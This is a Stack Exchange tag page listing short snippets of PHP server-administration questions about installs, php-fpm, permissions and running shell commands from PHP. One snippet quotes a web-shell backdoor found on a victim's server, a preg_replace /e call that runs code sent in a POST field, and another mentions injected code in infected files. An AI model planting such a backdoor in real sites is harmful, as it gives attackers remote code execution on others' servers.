Stack Exchange Network

Stack Exchange network consists of 174 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.

Visit Stack Exchange

Questions tagged [php]

PHP is a widely-used, general-purpose scripting language that is especially suited for web development. Use this tag when you are dealing with a PHP script, installing PHP, or configuring a PHP installation.

0
votes
1answer
41 views

Execute shell command (pactl) with php script [on hold]

my problem is, that the following php script doesn't work properly, when opened on my website: <?php exec("sudo -u pi pactl set-sink-volume 0 50%"); echo exec('whoami'); ?> When I execute the ...
0
votes
0answers
11 views

Nginx running php-fpm and php process

My NginX server run into problem just now, when i checked there's am out of memory problem, so i fixed it by increasing memory_limit to 1G, but the error still persist, so i take a look at system ...
0
votes
1answer
19 views

How to find all installed php on Linux system?

How to find all php (cli, php-fpm, apache-module) installed on Linux system and check which ini use each one?
-4
votes
0answers
17 views

How to install Apache, Mariadb, PHP and phpMyAdmin on CentOS 6.10? [closed]

What partition should I create for my server with 4GB of RAM, 2TB HDD to install programming language / tools / product / server program as follows: -> CentOS 6.10 -> Apache: v2.4.37 -> PHP: v5.6....
-1
votes
0answers
16 views

Install/compile PHP module from source into home directory [closed]

On my shared hosting (according to /proc/version it's cloudlinux), the other day, I've installed a Guile Scheme interpreter (I don't have ssh, but I have a browser shell installed that execute ...
0
votes
1answer
23 views

httpd hogging all memory until server crash

The server in question is used for processing data into reports, it has three cron jobs which execute every minute to check the process queue and if anything is found they'll keep running until the ...
-1
votes
0answers
29 views

Access permissions for web server

I have Ubuntu server that is running a nginx server that has configured a bunch of sites that run php. PHP is running under php-fpm. In my php-fpm config, the 'user' and 'group' match the linux user ...
0
votes
0answers
13 views

Where to set Umask value in php-fpm Alpine based container

I have installed php7-fpm and php-7 using apk add on my Alpine container. I tried following this SO https://serverfault.com/questions/582371/how-to-set-umask-for-php-fpm-in-fedora/582380#582380 . But ...
-1
votes
2answers
54 views

How to update PHP5 to latest stable PHP5 version?

I can't find any infos on how to update PHP 5.5.14 to the latest PHP 5.6.37 which was released on 19 Jul 2018. I executed apt-get update and apt-get upgrade but PHP 5.5.14 is still installed. OS: ...
0
votes
2answers
58 views

Issue update PHP 7 on CentOS 7

I would like to update PHP 7.0.2.6 to the latest 7.2 version on my CentOS 7 server (with DirectAdmin installed) via SSH. I found many procedures on the internet, but none of them seems to work. I was ...
0
votes
1answer
15 views

Installing Composer dependency manager and running it right afterwards

I install Composer the PHP dependency manager and run it right afterwards this way on Ubuntu 18.04 with Bash: curl -sS https://getcomposer.org/installer -o composer-setup.php php composer-setup.php --...
1
vote
0answers
17 views

php-fpm Socket spawns with bad chmod

Everytime i restart my php-fpm it's creating or updates socket file to chmod 660 and i need to change manually chmod to 666 I have done before listen to file php-fpm.sock instead of 127.0.0.1 How to ...
1
vote
2answers
91 views

Using Ansible inside Bash

I use Ubuntu 18.04 with Ansible installed this way: apt-get update -y install software-properties-common apt-add-repository ppa:ansible/ansible apt install ansible I also have a small Bash script I ...
0
votes
2answers
99 views

How to find why php72_fpm is failing to start on OpenBSD?

My httpd logs show errors that look like php-fpm issues and sure enough, when I try rcctl start php72_fpm I get php72_fpm(failed) In line with other OpenBSD configuration so far, I'd expect to ...
0
votes
1answer
24 views

How can I prevent a process to change its setuid bit back to RUID within the process itself

I set my SETUID bit to a non-root user so that the process should take the ownership of that executable file always. But I figured out setuid bit can be changed back to RUID within the script itself. ...
0
votes
0answers
15 views

centos 6 php-cgi invokes oom killer

Randomly every 2-3 days php-cgi invokes oom killer and mysqld is killed. I have optimized my.cnf and apache server. Still the same. I have on the server 1247 mb ram and 383mb swap. For the moment i ...
0
votes
1answer
35 views

Building Apache 2.2 from source on CentOS

My Question Does anyone have a link to a proper source package of Apache 2.2 for CentOS, and if so are there any special instructions I'm missing ? Summary I am trying to install Apache 2.2 on a ...
1
vote
0answers
36 views

Websocket server won't connect if started via PHP

I have a websocket server written in Node. The following instruction, when executed from the command line starts the websocket server successfully: nohup "/root/.nvm/versions/node/v8.11.1/bin/node" "/...
0
votes
0answers
23 views

post install script error 1 (php7.2-xml)

So I'm trying to install php7.2-xml on an Ubuntu 18.04 server using apt-get install php7.2-xml I keep getting an error: installed php7.2-xml package post-installation script subprocess returned ...
1
vote
0answers
23 views

Message: Undefined variable: fetch_data [closed]

i am using this using codeigniter to run the snippet of code from.. from https://www.webslesson.info/2016/10/insert-fetch-update-delete-mysql-data-in-codeigniter.html .This is my autoload.php <...
1
vote
1answer
65 views

set php-fpm user and group to website's owner

I have a centos 6 server which using apache to connect php-fpm to run php site, i use user's home directory for the website root, for example /home/user1, . On the other hand, the php-fpm www.conf, ...
1
vote
0answers
22 views

Mounted CIFS directory by web shell not visible in the system shell

I use PHP shell_exec to run the command echo password | sudo -S mount.cifs //192.168.1.15/Share /share -o username=root,password=password HTTPD user is granted sudo-pivilege, the command ran ...
1
vote
2answers
100 views

problem piping data into nc

I've written a small UDP server in PHP which listens on a socket, accepts a command, and performs an action. It's really quite basic. I can connect to it manually like this: % nc -u host port (...
0
votes
0answers
30 views

Running Commandline Scripts Through PHP

I am having difficulties running bash scripts with php's exec() and wanted to get some suggestions. I would love to be more flexible in this area because I can see a lot of potential for my small ...
1
vote
3answers
91 views

How to install php + mysql on Fedora?

I'm trying to install wordpress locally. I've installed mysql (MariaDB) and php-mysqli. I have user created and database from mysql console and I have this 3 files: $ cd /etc/php.d/ $ cat 30-mysqli....
13
votes
7answers
3k views

How to get only the version number of php?

I want to get only the version of php installed on CentOS. Output of php -v PHP 7.1.16 (cli) (built: Mar 28 2018 13:19:29) ( NTS ) Copyright (c) 1997-2018 The PHP Group Zend Engine v3.1.0, Copyright ...
0
votes
1answer
80 views

unable to run command as sudo in php (CentOS 7)

I need to run a sudo command from a PHP script in CentOS 7, but I am getting an error: sudo: no tty present and no askpass program specified I have edited my sudoers file with the following lines,...
1
vote
0answers
21 views

unable to install phpmyadmin in RHEL 6

I am using red hat 6.0 Linux.Currently php 5.3.2 is installed.I want to install phpMyAdmin in it.for that php5.5 is required. I already installed epel ,remi repository in my system. I am trying to ...
1
vote
0answers
77 views

What's the difference between the `php71` and `php71w` in the yum repos?

I use yum list *php71*, there shows: ... php71-php-zstd.x86_64 0.4.14-1.el7.remi ...
0
votes
3answers
53 views

How to identify the package manager used to install software in CentOS?

On my CentOS 7.2 Server: [root@localhost data]# which php /usr/local/bin/php [root@localhost data]# ll /usr/local/bin/php lrwxrwxrwx. 1 root root 29 Jun 25 08:13 /usr/local/bin/php -> /usr/local/...
0
votes
0answers
25 views

Deleting files using www-data user

I'm running an apache2 web server on raslberry pi 3 with raspbian stretch installed. In case of unauthorized activity, I would like to delete all files saved at the apache's /var/www/html folder. I ...
1
vote
1answer
49 views

Strange problem with Phantomjs, it gets 404 error for an url, and it works fine for many other websites

I have Phantomjs 2.1.1 installed in debian 9, it works fine for many websites but it gets 404 error for this simple URL: http://writeastory.net/test.jpg I tested in two servers, i got the same issue, ...
2
votes
1answer
78 views

Can't get iso-8859-1 to work for 'umlauts' (Debian / Plesk)

I think I have configured ISO-8859-1 at all necessary locations, but still, my pages are displaying black '?' instead of German umlauts! My server runs Plesk 17.8.11 / Debian 8 / Apache 2 / PHP 7.1 (...
0
votes
1answer
79 views

How to execute ln on find results

I want to make symlinks for image files in a directory in the server. Currently I'm doing it by executing this command using php function exec(): ln -sf path/to/source path/to/symlink Both file ...
1
vote
0answers
51 views

Webserver crashes on a Saturday due to high disk IO [closed]

I'm having an issue where an Ubuntu 16.04 Serverpilot VPS server crashes on a Saturday but no other day of the week. It hosts 60 or so low traffic Wordpress websites, there are no CRON jobs that run ...
1
vote
1answer
2k views

cp: cannot create regular file: Permission denied

I am running a PHP script on my Apache server and from the script I need to copy some files (to run a Bash script that copies files). I can copy to a directory /tmp with no problems, but when I want ...
2
votes
1answer
69 views

Installing icingaweb2 / icingacli under Oracle Linux 6 [closed]

I'm trying to install icingaweb2 / icingacli on a vServer running Oracle Linux 6. I've managed to install icinga2 from the icinga repo and php7.0 from the ol6_developer repo. But if I try to install ...
1
vote
1answer
114 views

ftp passive mode and php

I have an Apache web server running on this machine with Debian stable, this PHP program have to connect using FTP to a remote online server among other things. Everything worked fine until I ...
1
vote
2answers
72 views

Apache and FPM link severed by script timeout

I am attempting to setup Apache + PHP-FPM, however, we have a long running script that was executed and eventually timed out, which severed the link between Apache and FPM ultimately bringing down the ...
6
votes
1answer
859 views

Print something in console in the same place of the previous echo, with a sort of negative echo

In bash you can cast a command named clear to clear all the screen commands. And with echo you can print whatever you want onscreen.. In my simple scripts I often have the need of print a percentage ...
1
vote
1answer
34 views

Shell_exec of dynamically created script with else

I am trying to use Shell_exec to a run a script which is dynamically created and stored in a php variable. Here is the script so far. { curl -fsS --retry 3 https://hc-ping.com/same-unique-id-here ; \...
0
votes
2answers
394 views

Run a script every minute without cron and allowing children

I've written 2 php scripts one worker and one master. If I run master manually it checks a rabbitmq system and spawns 1 worker for each queue it detects. Then if I run master again it checks see if ...
1
vote
1answer
66 views

Postfix SMTP auth

I have installed a postfix server with dovecot sasl and TLS. The problem when I try to send mail from PHP code, if I use login auth type as 'smtp' the server accept the connection without any ...
0
votes
0answers
11 views

max_execution_time parameters override in PHP on LEMP (PHP-FPM / Nginx)

max_execution_time parameter value need to change for specific module of the application alone else it will reflect globally. Example : My lemp stack server have the max_execution_time parameter ...
1
vote
0answers
21 views

How to install tidy on Fedora [closed]

I've installed tidy and in phpinfo() I have tidy in list of modules with author, but no configuration section with options. I have file /etc/php.d/20-tidy.ini but it's not on the list of files in "...
1
vote
1answer
70 views

PHP missing cURL and XDebug after upgrade

I just upgraded to Ubuntu 18.04.1 LTS and went to check on my local apache2 installation by adding phpinfo() to an index file. I do not see an entry for cURL or for XDebug. Here's what I did: ...
0
votes
1answer
61 views

What is the best method to get rid of a pattern in multiple php files? [closed]

Working on infected website with hundreds of php files with the following injected signature code in the top of each file: <?php /*457563643457563643*/ ?><?php /*5467543654675436*/ ?><?...
1
vote
1answer
56 views

Unknow PHP file uploaded to server EEC4D8E4439299046B8CDB3F782<?php @preg_replace(“/[pageerror]/e”,$_POST['xbfk'],“saft”); ?>

I just found out someone uploaded a PHP file to our application hosted on a shared Linux server, with the name 6fbb2.php and this is the content of the file: EEC4D8E4439299046B8CDB3F782<?php @...
1
vote
7answers
125 views

Create PHP array from letters

I would like to create a PHP array from the Serbian alphabet. Out of а б в г д ђ е ж з и ј к л љ м н њ о п р с т ћ у ф х ц ч џ ш a b c č ć d dž đ e f g h i j k l lj m n nj o p r s š t u v z ž ...
0
votes
1answer
29 views

How can I install SSH PHP library similar to Ubuntu's libssh2-php on Fedora28?

On Ubuntu there is the lib mentioned above: sudo apt-get install libssh2-php But where can I found it on Fedora? Any idea?